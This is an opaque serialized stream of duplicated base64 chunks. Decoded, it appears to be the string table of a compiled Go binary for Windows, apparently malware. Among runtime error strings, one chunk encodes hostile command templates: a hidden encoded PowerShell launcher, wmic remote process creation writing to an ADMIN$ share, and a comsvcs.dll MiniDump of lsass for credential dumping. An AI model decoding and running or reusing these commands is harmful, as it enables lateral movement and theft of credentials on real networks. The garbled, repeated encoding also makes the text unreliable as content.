TaXplQ2xhc3NpbW1vcnRhbCBtZXRhZGF0YXJ1bnQ=f3:T554,YW5ub3QgZXhlYyBhIHNoYXJlZCBsaWJyYXJ5IGRpcmVjdGx5dmFsdWUgdG9vIGxhcmdlIGZvciBkZWZpbmVkIGRhdGEgdHlwZWdvZGVidWc6IHVuZXhwZWN0ZWQgSW5jTm9uRGVmYXVsdCBvZiBiaXNlY3QuSGFzaDogdW5leHBlY3RlZCBhcmd1bWVudCB0eXBldGltZTogbWlzc2luZyBMb2NhdGlvbiBpbiBjYWxsIHRvIERhdGUxMTEwMjIzMDI0NjI1MTU2NTQwNDIzNjMxNjY4MDkwODIwMzEyNTU1NTExMTUxMjMxMjU3ODI3MDIxMTgxNTgzNDA0NTQxMDE1NjI1aW5kZXggb3V0IG9mIHJhbmdlIFsleF0gd2l0aCBsZW5ndGggJXltIGNoYW5nZWQgdW5leHBlY3RlZGx5IGluIGNnb2NhbGxiYWNrZ21ha2VjaGFuOiBpbnZhbGlkIGNoYW5uZWwgZWxlbWVudCB0eXBldW5yZWFjaGFibGUgbWV0aG9kIGNhbGxlZC4gbGlua2VyIGJ1Zz9nY0JnTWFya1dvcmtlcjogYmxhY2tlbmluZyBub3QgZW5hYmxlZGNhbm5vdCByZWFkIHN0YWNrIG9mIHJ1bm5pbmcgZ29yb3V0aW5lcnVudGltZTogYmxvY2tlZCByZWFkIG9uIGZyZWUgcG9sbGRlc2NydW50aW1lOiBMb2FkTGlicmFyeUV4VyBmYWlsZWQ7IGVycm5vPXJ1bnRpbWU6IEdldFByb2NBZGRyZXNzIGZhaWxlZDsgZXJybm89cnVudGltZTogc3Vkb2cgd2l0aCBub24tZmFsc2UgaXNTZWxlY3Rhcmcgc2l6ZSB0byByZWZsZWN0LmNhbGwgbW9yZSB0aGFuIDFHQnYgY291bGQgbm90IGZpdCBpbiB0cmFjZUJ5dGVzUGVyTnVtYmVyY2FuIG5vdCBhY2Nlc3MgYSBuZWVkZWQgc2hhcmVkIGxpYnJhcnljb25jdXJyZW50IG1hcCBpdGVyYXRpb24gYW5kIG1hcCB3cml0ZWV4ZWM6IGVudmlyb25tZW50IHZhcmlhYmxlIGNvbnRhaW5zIE5VTDIwMDYtMDEtMDIgMTU6MDQ6MDUuOTk5OTk5OTk5IC0wNzAwIE1TVDI3NzU1NTc1NjE1NjI4OTEzNTEwNTkwNzkxNzAyMjcwNTA3ODEyNW1pc21hdGNoZWQgY291bnQgZHVyaW5nIGl0YWIgdGFibGUgY29weW91dCBvZiBtZW1vcnkgYWxsb2NhdGluZyBoZWFwIGFyZW5hIG1hcC9jcHUvY2xhc3Nlcy9nYy9tYXJrL2Fzc2lzdDpjcHUtc2Vjf4:T558,YW5ub3QgZXhlYyBhIHNoYXJlZCBsaWJyYXJ5IGRpcmVjdGx5dmFsdWUgdG9vIGxhcmdlIGZvciBkZWZpbmVkIGRhdGEgdHlwZWdvZGVidWc6IHVuZXhwZWN0ZWQgSW5jTm9uRGVmYXVsdCBvZiBiaXNlY3QuSGFzaDogdW5leHBlY3RlZCBhcmd1bWVudCB0eXBldGltZTogbWlzc2luZyBMb2NhdGlvbiBpbiBjYWxsIHRvIERhdGUxMTEwMjIzMDI0NjI1MTU2NTQwNDIzNjMxNjY4MDkwODIwMzEyNTU1NTExMTUxMjMxMjU3ODI3MDIxMTgxNTgzNDA0NTQxMDE1NjI1aW5kZXggb3V0IG9mIHJhbmdlIFsleF0gd2l0aCBsZW5ndGggJXltIGNoYW5nZWQgdW5leHBlY3RlZGx5IGluIGNnb2NhbGxiYWNrZ21ha2VjaGFuOiBpbnZhbGlkIGNoYW5uZWwgZWxlbWVudCB0eXBldW5yZWFjaGFibGUgbWV0aG9kIGNhbGxlZC4gbGlua2VyIGJ1Zz9nY0JnTWFya1dvcmtlcjogYmxhY2tlbmluZyBub3QgZW5hYmxlZGNhbm5vdCByZWFkIHN0YWNrIG9mIHJ1bm5pbmcgZ29yb3V0aW5lcnVudGltZTogYmxvY2tlZCByZWFkIG9uIGZyZWUgcG9sbGRlc2NydW50aW1lOiBMb2FkTGlicmFyeUV4VyBmYWlsZWQ7IGVycm5vPXJ1bnRpbWU6IEdldFByb2NBZGRyZXNzIGZhaWxlZDsgZXJybm89cnVudGltZTogc3Vkb2cgd2l0aCBub24tZmFsc2UgaXNTZWxlY3Rhcmcgc2l6ZSB0byByZWZsZWN0LmNhbGwgbW9yZSB0aGFuIDFHQnYgY291bGQgbm90IGZpdCBpbiB0cmFjZUJ5dGVzUGVyTnVtYmVyY2FuIG5vdCBhY2Nlc3MgYSBuZWVkZWQgc2hhcmVkIGxpYnJhcnljb25jdXJyZW50IG1hcCBpdGVyYXRpb24gYW5kIG1hcCB3cml0ZWV4ZWM6IGVudmlyb25tZW50IHZhcmlhYmxlIGNvbnRhaW5zIE5VTDIwMDYtMDEtMDIgMTU6MDQ6MDUuOTk5OTk5OTk5IC0wNzAwIE1TVDI3NzU1NTc1NjE1NjI4OTEzNTEwNTkwNzkxNzAyMjcwNTA3ODEyNW1pc21hdGNoZWQgY291bnQgZHVyaW5nIGl0YWIgdGFibGUgY29weW91dCBvZiBtZW1vcnkgYWxsb2NhdGluZyBoZWFwIGFyZW5hIG1hcC9jcHUvY2xhc3Nlcy9nYy9tYXJrL2Fzc2lzdDpjcHUtc2Vjbw==f5:T550,YmFkIGcwIHN0YWNrc2VsZi1wcmVlbXB0IFtyZWNvdmVyZWRdYmFkIHJlY292ZXJ5YmFkIGcgc3RhdHVzZW50ZXJzeXNjYWxsd2lyZXA6IHAtPm09KSBwLT5zdGF0dXM9cmVsZWFzZXA6IG09IHN5c21vbndhaXQ9IHByZWVtcHRvZmY9Y2FzNjQgZmFpbGVkIG0tPmdzaWduYWw9LWJ5dGUgbGltaXRydW50aW1lOiBzcD1hYmkgbWlzbWF0Y2h3cm9uZyB0aW1lcnN0cmFjZSBidWZmZXJpbnZhbGlkIHNsb3Rob3N0IGlzIGRvd25pbGxlZ2FsIHNlZWtHZXRMZW5ndGhTaWRHZXRMYXN0RXJyb3JHZXRTdGRIYW5kbGVHZXRUZW1wUGF0aFdMb2FkTGlicmFyeVdSZWFkQ29uc29sZVdTZXRFbmRPZkZpbGVUcmFuc21pdEZpbGVHZXRBZGRySW5mb1dub3QgcG9sbGFibGVnb3R5cGVzYWxpYXNodHRwbXV4Z28xMjFtdWx0aXBhdGh0Y3ByYW5kYXV0b3NlZWR0bHN1bnNhZmVla20xOTIuMTY4LjEuMTAwRmluZEZpcnN0RmlsZTM4MTQ2OTcyNjU2MjVkYWxUTERwU3VnY3Q/R2V0VGVtcFBhdGgyV01vZHVsZTMyTmV4dFdSdGxHZXRWZXJzaW9ud2FrZWFibGVTbGVlcHByb2ZNZW1BY3RpdmVwcm9mTWVtRnV0dXJldHJhY2VTdGFja1RhYmV4ZWNSSW50ZXJuYWx0ZXN0UkludGVybmFsR0Mgc3dlZXAgd2FpdHN5bmN0ZXN0LldhaXRvdXQgb2YgbWVtb3J5IGlzIG5pbCwgbm90IHZhbHVlIG1ldGhvZCBoZWFwIG1ldGFkYXRhIHNwYW4uYmFzZSgpPWJhZCBmbHVzaEdlbiBjcmVhdGVkIGF0OiAsIG5vdCBwb2ludGVyICE9IHN3ZWVwZ2VuICBNQiBnbG9iYWxzLCAgd29yay5ucHJvYz0gIHdvcmsubndhaXQ9ICBuU3RhY2tSb290cz0gZmx1c2hlZFdvcmsgZG91YmxlIHVubG9jayBzLnNwYW5jbGFzcz0gTUIpIHdvcmtlcnM9bWluIHRvbyBsYXJnZS1ieXRlIGJsb2NrIChydW50aW1lOiB2YWw9cnVudGltZTogc2VxPWZhdGFsIGVycm9yOiAgaWRsZXRocmVhZHM9IHN5c2NhbGx0aWNrPWxvYWQ2NCBmYWlsZWR4YWRkNjQgZmFpbGVkeGNoZzY0IGZhaWxlZG5pbCBzdGFja2Jhc2V9c2NoZWQ9e3BjOiwgZ3AtPnN0YXR1cz0gcGx1Z2k=f6:T550,YmFkIGcwIHN0YWNrc2VsZi1wcmVlbXB0IFtyZWNvdmVyZWRdYmFkIHJlY292ZXJ5YmFkIGcgc3RhdHVzZW50ZXJzeXNjYWxsd2lyZXA6IHAtPm09KSBwLT5zdGF0dXM9cmVsZWFzZXA6IG09IHN5c21vbndhaXQ9IHByZWVtcHRvZmY9Y2FzNjQgZmFpbGVkIG0tPmdzaWduYWw9LWJ5dGUgbGltaXRydW50aW1lOiBzcD1hYmkgbWlzbWF0Y2h3cm9uZyB0aW1lcnN0cmFjZSBidWZmZXJpbnZhbGlkIHNsb3Rob3N0IGlzIGRvd25pbGxlZ2FsIHNlZWtHZXRMZW5ndGhTaWRHZXRMYXN0RXJyb3JHZXRTdGRIYW5kbGVHZXRUZW1wUGF0aFdMb2FkTGlicmFyeVdSZWFkQ29uc29sZVdTZXRFbmRPZkZpbGVUcmFuc21pdEZpbGVHZXRBZGRySW5mb1dub3QgcG9sbGFibGVnb3R5cGVzYWxpYXNodHRwbXV4Z28xMjFtdWx0aXBhdGh0Y3ByYW5kYXV0b3NlZWR0bHN1bnNhZmVla20xOTIuMTY4LjEuMTAwRmluZEZpcnN0RmlsZTM4MTQ2OTcyNjU2MjVkYWxUTERwU3VnY3Q/R2V0VGVtcFBhdGgyV01vZHVsZTMyTmV4dFdSdGxHZXRWZXJzaW9ud2FrZWFibGVTbGVlcHByb2ZNZW1BY3RpdmVwcm9mTWVtRnV0dXJldHJhY2VTdGFja1RhYmV4ZWNSSW50ZXJuYWx0ZXN0UkludGVybmFsR0Mgc3dlZXAgd2FpdHN5bmN0ZXN0LldhaXRvdXQgb2YgbWVtb3J5IGlzIG5pbCwgbm90IHZhbHVlIG1ldGhvZCBoZWFwIG1ldGFkYXRhIHNwYW4uYmFzZSgpPWJhZCBmbHVzaEdlbiBjcmVhdGVkIGF0OiAsIG5vdCBwb2ludGVyICE9IHN3ZWVwZ2VuICBNQiBnbG9iYWxzLCAgd29yay5ucHJvYz0gIHdvcmsubndhaXQ9ICBuU3RhY2tSb290cz0gZmx1c2hlZFdvcmsgZG91YmxlIHVubG9jayBzLnNwYW5jbGFzcz0gTUIpIHdvcmtlcnM9bWluIHRvbyBsYXJnZS1ieXRlIGJsb2NrIChydW50aW1lOiB2YWw9cnVudGltZTogc2VxPWZhdGFsIGVycm9yOiAgaWRsZXRocmVhZHM9IHN5c2NhbGx0aWNrPWxvYWQ2NCBmYWlsZWR4YWRkNjQgZmFpbGVkeGNoZzY0IGZhaWxlZG5pbCBzdGFja2Jhc2V9c2NoZWQ9e3BjOiwgZ3AtPnN0YXR1cz0gcGx1Z2luf7:T550,YmUgYSBwb3dlciBvZiAyc3lzdGVtIGh1Z2UgcGFnZSBzaXplIChydW50aW1lOiBzLmFsbG9jQ291bnQ9IHMuYWxsb2NDb3VudCA+IHMubmVsZW1zL2djL2hlYXAvYWxsb2NzOm9iamVjdHNydW50aW1lOiBpbnRlcm5hbCBlcnJvcndvcmsubndhaXQgPiB3b3JrLm5wcm9jbGVmdCBvdmVyIG1hcmtyb290IGpvYnNnY0RyYWluIHBoYXNlIGluY29ycmVjdE1CIGR1cmluZyBzd2VlcDsgc3dlcHQgYmFkIHByb2ZpbGUgc3RhY2sgY291bnRydW50aW1lOiBuZXRwb2xsIGZhaWxlZHBhbmljIGR1cmluZyBwcmVlbXB0b2ZmbmFub3RpbWUgcmV0dXJuaW5nIHplcm9mYXRhbDogbW9yZXN0YWNrIG9uIGcwdGhlIGN1cnJlbnQgZyBpcyBub3QgZzBzY2hlZHVsZTogaG9sZGluZyBsb2Nrc3Byb2NyZXNpemU6IGludmFsaWQgYXJnc3BhbiBoYXMgbm8gZnJlZSBzdGFja3NzdGFjayBncm93dGggYWZ0ZXIgZm9ya3Nocmlua3N0YWNrIGF0IGJhZCB0aW1lcmVmbGVjdC5tZXRob2RWYWx1ZUNhbGxkZXZpY2Ugb3IgcmVzb3VyY2UgYnVzeWludGVycnVwdGVkIHN5c3RlbSBjYWxsbm8gc3BhY2UgbGVmdCBvbiBkZXZpY2VvcGVyYXRpb24gbm90IHN1cHBvcnRlZG9wZXJhdGlvbiBub3QgcGVybWl0dGVkQ2VydEdldENlcnRpZmljYXRlQ2hhaW5GcmVlRW52aXJvbm1lbnRTdHJpbmdzV0dldEVudmlyb25tZW50VmFyaWFibGVXR2V0U3lzdGVtVGltZUFzRmlsZVRpbWVTZXRFbnZpcm9ubWVudFZhcmlhYmxlVyIsIG1pc3NpbmcgQ1BVIHN1cHBvcnRleGl0IGhvb2sgaW52b2tlZCBwYW5pY3BhdHRlcm4gYml0cyB0b28gbG9uZzogU0EgUGFjaWZpYyBTdGFuZGFyZCBUaW1lU0EgRWFzdGVybiBTdGFuZGFyZCBUaW1lVVMgRWFzdGVybiBTdGFuZGFyZCBUaW1lU0EgV2VzdGVybiBTdGFuZGFyZCBUaW1lTW9udGV2aWRlbyBTdGFuZGFyZCBUaW1lTWFnYWxsYW5lcyBTdGFuZGFyZCBUaW1lUGFjaWZpYyBTQSBTdGFuZGFyZCBUaW1lQXplcmJhaWphbiBTdGFuZGFyZCBUaW1lQmFuZ2xhZGVzaCBTdGFuZGFyZCBUaW1lTm9ydGggQXM=f8:T550,YmUgYSBwb3dlciBvZiAyc3lzdGVtIGh1Z2UgcGFnZSBzaXplIChydW50aW1lOiBzLmFsbG9jQ291bnQ9IHMuYWxsb2NDb3VudCA+IHMubmVsZW1zL2djL2hlYXAvYWxsb2NzOm9iamVjdHNydW50aW1lOiBpbnRlcm5hbCBlcnJvcndvcmsubndhaXQgPiB3b3JrLm5wcm9jbGVmdCBvdmVyIG1hcmtyb290IGpvYnNnY0RyYWluIHBoYXNlIGluY29ycmVjdE1CIGR1cmluZyBzd2VlcDsgc3dlcHQgYmFkIHByb2ZpbGUgc3RhY2sgY291bnRydW50aW1lOiBuZXRwb2xsIGZhaWxlZHBhbmljIGR1cmluZyBwcmVlbXB0b2ZmbmFub3RpbWUgcmV0dXJuaW5nIHplcm9mYXRhbDogbW9yZXN0YWNrIG9uIGcwdGhlIGN1cnJlbnQgZyBpcyBub3QgZzBzY2hlZHVsZTogaG9sZGluZyBsb2Nrc3Byb2NyZXNpemU6IGludmFsaWQgYXJnc3BhbiBoYXMgbm8gZnJlZSBzdGFja3NzdGFjayBncm93dGggYWZ0ZXIgZm9ya3Nocmlua3N0YWNrIGF0IGJhZCB0aW1lcmVmbGVjdC5tZXRob2RWYWx1ZUNhbGxkZXZpY2Ugb3IgcmVzb3VyY2UgYnVzeWludGVycnVwdGVkIHN5c3RlbSBjYWxsbm8gc3BhY2UgbGVmdCBvbiBkZXZpY2VvcGVyYXRpb24gbm90IHN1cHBvcnRlZG9wZXJhdGlvbiBub3QgcGVybWl0dGVkQ2VydEdldENlcnRpZmljYXRlQ2hhaW5GcmVlRW52aXJvbm1lbnRTdHJpbmdzV0dldEVudmlyb25tZW50VmFyaWFibGVXR2V0U3lzdGVtVGltZUFzRmlsZVRpbWVTZXRFbnZpcm9ubWVudFZhcmlhYmxlVyIsIG1pc3NpbmcgQ1BVIHN1cHBvcnRleGl0IGhvb2sgaW52b2tlZCBwYW5pY3BhdHRlcm4gYml0cyB0b28gbG9uZzogU0EgUGFjaWZpYyBTdGFuZGFyZCBUaW1lU0EgRWFzdGVybiBTdGFuZGFyZCBUaW1lVVMgRWFzdGVybiBTdGFuZGFyZCBUaW1lU0EgV2VzdGVybiBTdGFuZGFyZCBUaW1lTW9udGV2aWRlbyBTdGFuZGFyZCBUaW1lTWFnYWxsYW5lcyBTdGFuZGFyZCBUaW1lUGFjaWZpYyBTQSBTdGFuZGFyZCBUaW1lQXplcmJhaWphbiBTdGFuZGFyZCBUaW1lQmFuZ2xhZGVzaCBTdGFuZGFyZCBUaW1lTm9ydGggQXNpf9:T554,Y2xlYXIgbm9uLWVtcHR5IHNwYW4gc2V0cnVudGltZTogY2xvc2UgcG9sbGRlc2Mgdy9vIHVuYmxvY2tOdENyZWF0ZVdhaXRDb21wbGV0aW9uUGFja2V0IGZhaWxlZGZpbmRydW5uYWJsZTogbmV0cG9sbCB3aXRoIHNwaW5uaW5ncGlkbGVwdXQ6IFAgaGFzIG5vbi1lbXB0eSBydW4gcXVldWVmYWtlIHRpbWVyIGV4ZWN1dGluZyB3aXRoIG5vIGJ1YmJsZXRyYWNlYmFjayBkaWQgbm90IHVud2luZCBjb21wbGV0ZWx5cnVudGltZTogY3JlYXRlZXZlbnQgZmFpbGVkOyBlcnJubz1uZXR3b3JrIGRyb3BwZWQgY29ubmVjdGlvbiBvbiByZXNldHRyYW5zcG9ydCBlbmRwb2ludCBpcyBub3QgY29ubmVjdGVkZmlsZSB0eXBlIGRvZXMgbm90IHN1cHBvcnQgZGVhZGxpbmU0NDQwODkyMDk4NTAwNjI2MTYxNjk0NTI2NjcyMzYzMjgxMjVyeXVGdG9hRml4ZWQ2NCBjYWxsZWQgd2l0aCBwcmVjID4gMTgwMTIzNDU2Nzg5YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXptZXRob2QgQUJJIGFuZCB2YWx1ZSBBQkkgZG9uJ3QgYWxpZ25sZnN0YWNrIG5vZGUgYWxsb2NhdGVkIGZyb20gdGhlIGhlYXApIGlzIGxhcmdlciB0aGFuIG1heGltdW0gcGFnZSBzaXplIChvYmplY3RzIHdpdGggcG9pbnRlcnMgbXVzdCBiZSB6ZXJvZWRydW50aW1lOiBpbnZhbGlkIHR5cGVCaXRzQnVsa0JhcnJpZXJ1bmNhY2hpbmcgc3BhbiBidXQgcy5hbGxvY0NvdW50ID09IDBTY2FuIHRyYWNlIGZvciBjbGVhbnVwL2ZpbmFsaXplciBvbiAvbWVtb3J5L2NsYXNzZXMvbWV0YWRhdGEvb3RoZXI6Ynl0ZXMvc2NoZWQvcGF1c2VzL3N0b3BwaW5nL290aGVyOnNlY29uZHN1c2VyIGFyZW5hIHNwYW4gaXMgb24gdGhlIHdyb25nIGxpc3RydW50aW1lOiBtYXJrZWQgZnJlZSBvYmplY3QgaW4gc3BhbiBydW50aW1lOiB1bmJsb2NrIG9uIGNsb3NpbmcgcG9sbGRlc2NVbmFibGUgdG8gZGV0ZXJtaW5lIHN5c3RlbSBkaXJlY3RvcnlydW50aW1lOiBWaXJ0dWFsUXVlcnkgZmFpbGVkOyBlcnJubz1ydW50aW1lOiBzdWRvZyB3aXRoIG5vbi1uaWwgd2FpdGxpbms=fa:T554,Y2xlYXIgbm9uLWVtcHR5IHNwYW4gc2V0cnVudGltZTogY2xvc2UgcG9sbGRlc2Mgdy9vIHVuYmxvY2tOdENyZWF0ZVdhaXRDb21wbGV0aW9uUGFja2V0IGZhaWxlZGZpbmRydW5uYWJsZTogbmV0cG9sbCB3aXRoIHNwaW5uaW5ncGlkbGVwdXQ6IFAgaGFzIG5vbi1lbXB0eSBydW4gcXVldWVmYWtlIHRpbWVyIGV4ZWN1dGluZyB3aXRoIG5vIGJ1YmJsZXRyYWNlYmFjayBkaWQgbm90IHVud2luZCBjb21wbGV0ZWx5cnVudGltZTogY3JlYXRlZXZlbnQgZmFpbGVkOyBlcnJubz1uZXR3b3JrIGRyb3BwZWQgY29ubmVjdGlvbiBvbiByZXNldHRyYW5zcG9ydCBlbmRwb2ludCBpcyBub3QgY29ubmVjdGVkZmlsZSB0eXBlIGRvZXMgbm90IHN1cHBvcnQgZGVhZGxpbmU0NDQwODkyMDk4NTAwNjI2MTYxNjk0NTI2NjcyMzYzMjgxMjVyeXVGdG9hRml4ZWQ2NCBjYWxsZWQgd2l0aCBwcmVjID4gMTgwMTIzNDU2Nzg5YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXptZXRob2QgQUJJIGFuZCB2YWx1ZSBBQkkgZG9uJ3QgYWxpZ25sZnN0YWNrIG5vZGUgYWxsb2NhdGVkIGZyb20gdGhlIGhlYXApIGlzIGxhcmdlciB0aGFuIG1heGltdW0gcGFnZSBzaXplIChvYmplY3RzIHdpdGggcG9pbnRlcnMgbXVzdCBiZSB6ZXJvZWRydW50aW1lOiBpbnZhbGlkIHR5cGVCaXRzQnVsa0JhcnJpZXJ1bmNhY2hpbmcgc3BhbiBidXQgcy5hbGxvY0NvdW50ID09IDBTY2FuIHRyYWNlIGZvciBjbGVhbnVwL2ZpbmFsaXplciBvbiAvbWVtb3J5L2NsYXNzZXMvbWV0YWRhdGEvb3RoZXI6Ynl0ZXMvc2NoZWQvcGF1c2VzL3N0b3BwaW5nL290aGVyOnNlY29uZHN1c2VyIGFyZW5hIHNwYW4gaXMgb24gdGhlIHdyb25nIGxpc3RydW50aW1lOiBtYXJrZWQgZnJlZSBvYmplY3QgaW4gc3BhbiBydW50aW1lOiB1bmJsb2NrIG9uIGNsb3NpbmcgcG9sbGRlc2NVbmFibGUgdG8gZGV0ZXJtaW5lIHN5c3RlbSBkaXJlY3RvcnlydW50aW1lOiBWaXJ0dWFsUXVlcnkgZmFpbGVkOyBlcnJubz1ydW50aW1lOiBzdWRvZyB3aXRoIG5vbi1uaWwgd2FpdGxpbmtyfb:T550,Q29tbWFuZENvbnRleHRydW50aW1lOiBHZXRRdWV1ZWRDb21wbGV0aW9uU3RhdHVzRXggcmV0dXJuZWQgbmV0X29wIHdpdGggaW52YWxpZCBrZXk9IHRvbyBtYW55IGNvbmN1cnJlbnQgb3BlcmF0aW9ucyBvbiBhIHNpbmdsZSBmaWxlIG9yIHNvY2tldCAobWF4IDEwNDg1NzUpQ3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIikuUnVuICJwb3dlcnNoZWxsIC1Ob1AgLU5vbkkgLVcgSGlkZGVuIC1FbmMgcnVudGltZTogR2V0UXVldWVkQ29tcGxldGlvblN0YXR1c0V4IHJldHVybmVkIG5ldF9vcCB3aXRoIGludmFsaWQgbW9kZT0gcnVudGltZS5Hb2V4aXQgY2FsbGVkIGluIGEgdGhyZWFkIHRoYXQgd2FzIG5vdCBjcmVhdGVkIGJ5IHRoZSBHbyBydW50aW1ld21pYyAvbm9kZToiJXMiIHByb2Nlc3MgY2FsbCBjcmVhdGUgImNtZCAvYyB3aG9hbWkgPiBcXFxcJXNcXEFETUlOJFxceC50eHQiTWFwSXRlci5OZXh0IGNhbGxlZCBvbiBhbiBpdGVyYXRvciB0aGF0IGRvZXMgbm90IGhhdmUgYW4gYXNzb2NpYXRlZCBtYXAgVmFsdWVOdENyZWF0ZVdhaXRDb21wbGV0aW9uUGFja2V0IGV4aXN0cyBidXQgTnRDYW5jZWxXYWl0Q29tcGxldGlvblBhY2tldCBkb2VzIG5vdGNhbm5vdCBjb252ZXJ0IHNsaWNlIHdpdGggbGVuZ3RoICV5IHRvIGFycmF5IG9yIHBvaW50ZXIgdG8gYXJyYXkgd2l0aCBsZW5ndGggJXhOdENyZWF0ZVdhaXRDb21wbGV0aW9uUGFja2V0IGV4aXN0cyBidXQgTnRBc3NvY2lhdGVXYWl0Q29tcGxldGlvblBhY2tldCBkb2VzIG5vdCAoYmFkIHVzZSBvZiB1bnNhZmUuUG9pbnRlciBvciBoYXZpbmcgcmFjZSBjb25kaXRpb25zPyB0cnkgLWQ9Y2hlY2twdHIgb3IgLXJhY2UpcnVuZGxsMzIgJVdJTkRJUiVcU3lzdGVtMzJcY29tc3Zjcy5kbGwsIE1pbmlEdW1wIChHZXQtUHJvY2VzcyBsc2FzcykuSWQgTlVMIGZ1bGxleHBlY3RlZCBhbGwgc2l6ZSBjbGFzc2VzIHVwIHRvIG1pbiBzaXplIGZvciBtYWxsb2MgaGVhZGVyIHRvIGZpdCBpbiBvbmUtcGFnZSBzcGFuc3JlZmxlY3QuVmFsdWUuSW50fc:T554,Q29tbWFuZENvbnRleHRydW50aW1lOiBHZXRRdWV1ZWRDb21wbGV0aW9uU3RhdHVzRXggcmV0dXJuZWQgbmV0X29wIHdpdGggaW52YWxpZCBrZXk9IHRvbyBtYW55IGNvbmN1cnJlbnQgb3BlcmF0aW9ucyBvbiBhIHNpbmdsZSBmaWxlIG9yIHNvY2tldCAobWF4IDEwNDg1NzUpQ3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIikuUnVuICJwb3dlcnNoZWxsIC1Ob1AgLU5vbkkgLVcgSGlkZGVuIC1FbmMgcnVudGltZTogR2V0UXVldWVkQ29tcGxldGlvblN0YXR1c0V4IHJldHVybmVkIG5ldF9vcCB3aXRoIGludmFsaWQgbW9kZT0gcnVudGltZS5Hb2V4aXQgY2FsbGVkIGluIGEgdGhyZWFkIHRoYXQgd2FzIG5vdCBjcmVhdGVkIGJ5IHRoZSBHbyBydW50aW1ld21pYyAvbm9kZToiJXMiIHByb2Nlc3MgY2FsbCBjcmVhdGUgImNtZCAvYyB3aG9hbWkgPiBcXFxcJXNcXEFETUlOJFxceC50eHQiTWFwSXRlci5OZXh0IGNhbGxlZCBvbiBhbiBpdGVyYXRvciB0aGF0IGRvZXMgbm90IGhhdmUgYW4gYXNzb2NpYXRlZCBtYXAgVmFsdWVOdENyZWF0ZVdhaXRDb21wbGV0aW9uUGFja2V0IGV4aXN0cyBidXQgTnRDYW5jZWxXYWl0Q29tcGxldGlvblBhY2tldCBkb2VzIG5vdGNhbm5vdCBjb252ZXJ0IHNsaWNlIHdpdGggbGVuZ3RoICV5IHRvIGFycmF5IG9yIHBvaW50ZXIgdG8gYXJyYXkgd2l0aCBsZW5ndGggJXhOdENyZWF0ZVdhaXRDb21wbGV0aW9uUGFja2V0IGV4aXN0cyBidXQgTnRBc3NvY2lhdGVXYWl0Q29tcGxldGlvblBhY2tldCBkb2VzIG5vdCAoYmFkIHVzZSBvZiB1bnNhZmUuUG9pbnRlciBvciBoYXZpbmcgcmFjZSBjb25kaXRpb25zPyB0cnkgLWQ9Y2hlY2twdHIgb3IgLXJhY2UpcnVuZGxsMzIgJVdJTkRJUiVcU3lzdGVtMzJcY29tc3Zjcy5kbGwsIE1pbmlEdW1wIChHZXQtUHJvY2VzcyBsc2FzcykuSWQgTlVMIGZ1bGxleHBlY3RlZCBhbGwgc2l6ZSBjbGFzc2VzIHVwIHRvIG1pbiBzaXplIGZvciBtYWxsb2MgaGVhZGVyIHRvIGZpdCBpbiBvbmUtcGFnZSBzcGFuc3JlZmxlY3QuVmFsdWUuSW50ZQ==fd:T554,ZWQgaXRlcmF0b3IgYnl0ZXM7IGluY29tcGF0aWJsZSB3aXRoIG11dGV4IGZsYWcgbWFzayBwZXJzaXN0ZW50YWxsb2M6IGFsaWduIGlzIG5vdCBhIHBvd2VyIG9mIDIvY3B1L2NsYXNzZXMvZ2MvbWFyay9kZWRpY2F0ZWQ6Y3B1LXNlY29uZHMvbWVtb3J5L2NsYXNzZXMvbWV0YWRhdGEvbWNhY2hlL2ZyZWU6Ynl0ZXMvbWVtb3J5L2NsYXNzZXMvbWV0YWRhdGEvbXNwYW4vaW51c2U6Ynl0ZXNub24tZW1wdHkgbWFyayBxdWV1ZSBhZnRlciBjb25jdXJyZW50IG1hcmtzd2VlcDogdHJpZWQgdG8gcHJlc2VydmUgYSB1c2VyIGFyZW5hIHNwYW5ydW50aW1lOiBibG9ja2VkIHdyaXRlIG9uIGNsb3NpbmcgcG9sbGRlc2NhY3F1aXJlU3Vkb2c6IGZvdW5kIHMuZWxlbSAhPSBuaWwgaW4gY2FjaGVmYXRhbCBlcnJvcjogY2dvIGNhbGxiYWNrIGJlZm9yZSBjZ28gY2FsbG9uIGEgbG9ja2VkIHRocmVhZCB3aXRoIG5vIHRlbXBsYXRlIHRocmVhZHVuZXhwZWN0ZWQgc2lnbmFsIGR1cmluZyBydW50aW1lIGV4ZWN1dGlvbnN0b3Agb2Ygc3luY3Rlc3QgdGltZXIgZnJvbSBvdXRzaWRlIGJ1YmJsZXRyYWNlU3RvcFJlYWRDUFUgY2FsbGVkIHdpdGggdHJhY2UgZW5hYmxlZGF0dGVtcHRlZCB0byB0cmFjZSBhIGJhZCBzdGF0dXMgZm9yIGEgcHJvY291dCBvZiBtZW1vcnkgYWxsb2NhdGluZyBjaGVja21hcmtzIGJpdG1hcGV4ZWM6IFdhaXREZWxheSBleHBpcmVkIGJlZm9yZSBJL08gY29tcGxldGVtdWx0NjRiaXRQb3cxMDogcG93ZXIgb2YgMTAgaXMgb3V0IG9mIHJhbmdlL21lbW9yeS9jbGFzc2VzL21ldGFkYXRhL21jYWNoZS9pbnVzZTpieXRlc3J1bnRpbWUuU2V0RmluYWxpemVyOiBmaXJzdCBhcmd1bWVudCBpcyBuaWxydW50aW1lLlNldEZpbmFsaXplcjogZmluYWxpemVyIGFscmVhZHkgc2V0Z2NCZ01hcmtXb3JrZXI6IHVuZXhwZWN0ZWQgZ2NNYXJrV29ya2VyTW9kZW5vbiBpbi11c2Ugc3BhbiBmb3VuZCB3aXRoIHNwZWNpYWxzIGJpdCBzZXRncmV3IGhlYXAsIGJ1dCBubyBhZGVxdWF0ZSBmcmVlIHNwYWNlIGY=fe:T554,ZWQgaXRlcmF0b3IgYnl0ZXM7IGluY29tcGF0aWJsZSB3aXRoIG11dGV4IGZsYWcgbWFzayBwZXJzaXN0ZW50YWxsb2M6IGFsaWduIGlzIG5vdCBhIHBvd2VyIG9mIDIvY3B1L2NsYXNzZXMvZ2MvbWFyay9kZWRpY2F0ZWQ6Y3B1LXNlY29uZHMvbWVtb3J5L2NsYXNzZXMvbWV0YWRhdGEvbWNhY2hlL2ZyZWU6Ynl0ZXMvbWVtb3J5L2NsYXNzZXMvbWV0YWRhdGEvbXNwYW4vaW51c2U6Ynl0ZXNub24tZW1wdHkgbWFyayBxdWV1ZSBhZnRlciBjb25jdXJyZW50IG1hcmtzd2VlcDogdHJpZWQgdG8gcHJlc2VydmUgYSB1c2VyIGFyZW5hIHNwYW5ydW50aW1lOiBibG9